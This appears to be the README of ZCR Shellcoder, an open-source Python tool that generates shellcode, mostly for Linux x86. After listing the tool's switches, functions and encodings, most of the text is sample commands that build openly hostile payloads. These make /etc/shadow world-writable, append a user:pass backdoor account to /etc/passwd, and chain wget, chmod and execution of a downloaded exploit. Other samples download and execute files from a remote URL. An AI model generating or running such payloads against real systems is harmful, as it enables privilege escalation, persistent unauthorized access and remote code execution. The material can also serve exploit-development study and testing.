

ZCR Shellcoder

Author: [Ali Razmjoo](#)

[ZeroDay Cyber Research Shellcoder \[Generator\]](#) is an open source software in python language which lets you generate customized shellcodes for listed operation systems. This software can be run on Windows/Linux&Unix/OSX and others OS under python 2.7.x.

How it work ?

For show list of switches you need to run software with "-h" or "--h" or "-help" or "--help" commands.

```
ZeroDay Cyber Research Shellcoder

Switches:
-h, --h, -help, --help => to see this help guide
-os => choose your os to create shellcode
-oslist => list os for switch -os
-o => output filename
-job => what shellcode gonna do for you ?
-joblist => list of -job switch
-encode => generate shellcode with encode
-types => types of encode for -encode switch

-update => check for update

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY : version: 1.0.0 : Release Date: 2015 May 22
```

-os switch lets you choose your target operation system. you can see os list supported with -oslist switch.

```
[+] linux_x86
[+] linux_x64
[+] linux_arm
[+] linux_mips
[+] freebsd_x86
[+] freebsd_x64
[+] windows_x86
[+] windows_x64
[+] osx
[+] solaris_x86
[+] solaris_x64

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY : version: 1.0.0 : Release Date: 2015 May 22
```

-o switch is output filename which will be generate in output folder.

-job switch used for choose your fucntion to generate shellcode. you can see functions list with -joblist switch.

```
[+] exec('/path/file')
[+] chmod('/path/file','permission number')
[+] write('/path/file','text to write')
[+] file_create('/path/file','text to write')
[+] dir_create('/path/folder')
[+] download('url','filename')
[+] download_execute('url','filename','command to execute')
[+] system('command to execute')
[+] script_executor('name of script','path and name of your script in your pc','
execute command')

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY | version: 1.0.0 | Release Date: 2015 May 22
```

-encode switch uses to choose your shellcode encode type, for see the list of encode types, execute -types switch.

```
[+] none
[+] xor_random
[+] xor_yourvalue
[+] add_random
[+] add_yourvalue
[+] sub_random
[+] sub_yourvalue
[+] inc
[+] inc_timesyouwant
[+] dec
[+] dec_timesyouwant
[+] mix_all

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY | version: 1.0.0 | Release Date: 2015 May 22
```

-update switch uses to begin update the software. You also can see archive of versions in this url:

<https://github.com/Ali-Razmjoo/ZCR-Shellcoder-Archive>

and the last update available at: <https://github.com/Ali-Razmjoo/ZCR-Shellcoder>

and : <http://www.z3r0d4y.com/p/zcr-shellcoder.html>

Available Features:

OS_LIST / Functions	Linux x86	Linux x64	Linux Arm	Linux Mips	FreeBSD X64	FreeBSD x86	Windows x64	Windows x86	OSX	Solaris x64	Solaris x86
exec	1	0	0	0	0	0	0	0	0	0	0
chmod	1	0	0	0	0	0	0	0	0	0	0
write	1	0	0	0	0	0	0	0	0	0	0
file_create	1	0	0	0	0	0	0	0	0	0	0
dir_create	1	0	0	0	0	0	0	0	0	0	0
download	1	0	0	0	0	0	0	0	0	0	0
download_execute	1	0	0	0	0	0	0	0	0	0	0
system	1	0	0	0	0	0	0	0	0	0	0
script_executor	1	0	0	0	0	0	0	0	0	0	0
Encodes											
none	1	1	1	1	1	1	1	1	1	1	1
xor_random	0	0	0	0	0	0	0	0	0	0	0
xor_yourvalue	0	0	0	0	0	0	0	0	0	0	0
add_random	0	0	0	0	0	0	0	0	0	0	0
add_yourvalue	0	0	0	0	0	0	0	0	0	0	0
sub_random	0	0	0	0	0	0	0	0	0	0	0
sub_yourvalue	0	0	0	0	0	0	0	0	0	0	0
inc	0	0	0	0	0	0	0	0	0	0	0
inc_timesyouwant	0	0	0	0	0	0	0	0	0	0	0
dec	0	0	0	0	0	0	0	0	0	0	0
dec_timesyouwant	0	0	0	0	0	0	0	0	0	0	0
mix_all	0	0	0	0	0	0	0	0	0	0	0

Sample of executable commands:

Windows cmd:

```
python shellcoder.py -os linux_x86 -job chmod('/etc/shadow','777') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job write('/etc/passwd','Ali.....[add user]') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job exec('/usr/bin/python') -encode none -o shellcode.asm
```

system()

```
python shellcoder.py -os linux_x86 -job system('chmod[space]777[space]/etc/shadow') -encode none -o shellcode.asm
```

multi command execution

```
python shellcoder.py -os linux_x86 -job system('chmod[space]777[space]/etc/shadow;wget[space]exploit[space];chmod[space]+x[space]exploit[space];./exploit;echo[space]user:pass[space]>>[space]/etc/passwd') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -encode none -job file_create('/root/Desktop/hello.txt','hello') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job file_create('/root/Desktop/hello2.txt','hello[space]world[space]!') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job dir_create('/root/Desktop/mydirectory') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job download('http://www.z3r0d4y.com/exploit.type','myfile.type') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type') -o  
file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]77  
7[space]myfile.type;sh[space]myfile.type') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor('script.type','D:\\myfile.type','./script.type') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor('ali.py','/root/Desktop/Oday.py','chmod[space]+x[space]ali.py;[space]pyt  
hon[space]ali.py') -o file.txt
```

Linux and OSX Terminal:

you need to put a "\\" behind the "(" and "\"" char in your switch.

```
python shellcoder.py -os linux_x86 -job chmod\\('\\'/etc/shadow\\', '\\777\\'\\') -encode none  
-o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job write\\('\\'/etc/passwd\\', '\\Ali.....[add user] \\'\\') -  
encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job exec\\('\\'/usr/bin/python\\'\\') -encode none -o  
shellcode.asm
```

```
system()
```

```
python shellcoder.py -os linux_x86 -job  
system\\('\\'chmod[space]777[space]/etc/shadow\\'\\') -encode none -o shellcode.asm
```

multi command execution

```
python shellcoder.py -os linux_x86 -job
```

```
system\('chmod[space]777[space]/etc/shadow;wget[space]exploit[space];chmod[space]+  
x[space]exploit[space];./exploit;echo[space]user:pass[space]>>[space]/etc/passwd'\) -  
encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
file_create\(' /root/Desktop/hello.txt',\ 'hello'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
file_create\(' /root/Desktop/hello2.txt',\ 'hello[space]world[space]!\'') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
dir_create\(' /root/Desktop/mydirectory'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
download\('http://www.z3r0d4y.com/exploit.type',\ 'myfile.type'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
download_execute\('http://www.z3r0d4y.com/exploit.type',\ 'myfile.type',\ './myfile.t  
ype'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
download_execute\('http://www.z3r0d4y.com/exploit.type',\ 'myfile.type',\ 'chmod[sp  
ace]777[space]myfile.type;sh[space]myfile.type'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
script_executor\('script.type',\ 'D:\\myfile.type',\ './script.type'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
script_executor\('z3r0d4y.sh',\ '/root/z3r0d4y.sh',\ 'sh[space]z3r0d4y.sh'\) -o  
file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job
```

```
script_executor\('ali.py',\ '/root/Desktop/0day.py',\ 'chmod[space]+x[space]ali.py;[spa  
ce]python[space]ali.py'\) -o file.txt
```

For more information and software analysis with more guides visit z3r0d4y.com.

References:

ZeroDay Cyber Research z3r0d4y.com

Home : <http://www.z3r0d4y.com/p/zcr-shellcoder.html>

Analysis post: http://www.z3r0d4y.com/2015/05/zcr-shellcoder-review-and-analysis_20.html

Github: <https://github.com/Ali-Razmjoo/ZCR-Shellcoder>

Archive: <https://github.com/Ali-Razmjoo/ZCR-Shellcoder-Archive>